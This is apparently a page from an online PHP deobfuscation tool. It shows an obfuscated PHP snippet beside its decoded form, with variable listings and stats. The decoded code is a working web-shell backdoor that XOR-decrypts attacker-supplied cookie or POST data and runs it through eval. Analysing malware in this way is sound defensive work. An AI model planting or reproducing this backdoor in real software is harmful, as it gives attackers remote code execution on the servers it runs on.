Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $str_repeat = chr(404 - 289) . chr(214 - 98) . chr(169 - 55) . '_' . "\162" . "\145..

Decoded Output download

<?php 
$str_repeat = chr(404 - 289) . chr(214 - 98) . chr(169 - 55) . '_' . "r" . "e" . 'p' . chr(496 - 395) . chr(97) . "t"; 
$explode = chr(1079 - 978) . "x" . chr(112) . 'l' . "o" . 'd' . "e"; 
$count = 'c' . "o" . chr(441 - 324) . chr(110) . "t"; 
$pack = "p" . chr(97) . chr(1025 - 926) . "k"; 
 
$TSCeL = array("brLMyoHwdcWkxajgjFbfZVWI" => "yyAYmgp"); 
$VnlvCpqCM = array("NDTawHTF" => "AemfamThxC"); 
 
foreach (array($TSCeL, $_COOKIE, $VnlvCpqCM, $_POST, $TSCeL) as $opxnPj) { 
    foreach ($opxnPj as $fqbGLyZ => $YvmLX) { 
        $YvmLX = @$pack(chr(673 - 601) . chr(42), $YvmLX); 
        $fqbGLyZ .= "RiEiz-lFHg-qOHgOtD-cJyS-QDr-uQQ-aFsSMeq"; 
        $fqbGLyZ = $str_repeat($fqbGLyZ, (strlen($YvmLX) / strlen($fqbGLyZ)) + 1); 
 
        $dzepLlzg = $YvmLX ^ $fqbGLyZ; 
        $dzepLlzg = $explode(chr(35), $dzepLlzg); 
        if ($count($dzepLlzg) == 3) { 
            $param1 = $dzepLlzg[1]; 
            $param2 = $dzepLlzg[2]; 
            $param3 = $param1($param2); 
            eval($param3); 
            die(); 
        } 
    } 
} 
?> 

Did this file decode correctly?

Original Code

<?php
$str_repeat = chr(404 - 289) . chr(214 - 98) . chr(169 - 55) . '_' . "\162" . "\145" . 'p' . chr(496 - 395) . chr(97) . "\164";
$explode = chr(1079 - 978) . "\x78" . chr(112) . 'l' . "\x6f" . 'd' . "\x65";
$count = 'c' . "\x6f" . chr(441 - 324) . chr(110) . "\x74";
$pack = "\x70" . chr(97) . chr(1025 - 926) . "\153";

$TSCeL = array("brLMyoHwdcWkxajgjFbfZVWI" => "yyAYmgp");
$VnlvCpqCM = array("NDTawHTF" => "AemfamThxC");

foreach (array($TSCeL, $_COOKIE, $VnlvCpqCM, $_POST, $TSCeL) as $opxnPj) {
    foreach ($opxnPj as $fqbGLyZ => $YvmLX) {
        $YvmLX = @$pack(chr(673 - 601) . chr(42), $YvmLX);
        $fqbGLyZ .= "RiEiz-lFHg-qOHgOtD-cJyS-QDr-uQQ-aFsSMeq";
        $fqbGLyZ = $str_repeat($fqbGLyZ, (strlen($YvmLX) / strlen($fqbGLyZ)) + 1);

        $dzepLlzg = $YvmLX ^ $fqbGLyZ;
        $dzepLlzg = $explode(chr(35), $dzepLlzg);
        if ($count($dzepLlzg) == 3) {
            $param1 = $dzepLlzg[1];
            $param2 = $dzepLlzg[2];
            $param3 = $param1($param2);
            eval($param3);
            die();
        }
    }
}
?>

Function Calls

chr 11

Variables

$pack pack
$TSCeL [{'key': 'brLMyoHwdcWkxajgjFbfZVWI', 'value': 'yyAYmgp'}]
$count count
$explode explode
$VnlvCpqCM [{'key': 'NDTawHTF', 'value': 'AemfamThxC'}]
$str_repeat str_repeat

Stats

MD5 e107c7b3939f4ca41f3975e836fbecf3
Eval Count 0
Decode Time 82 ms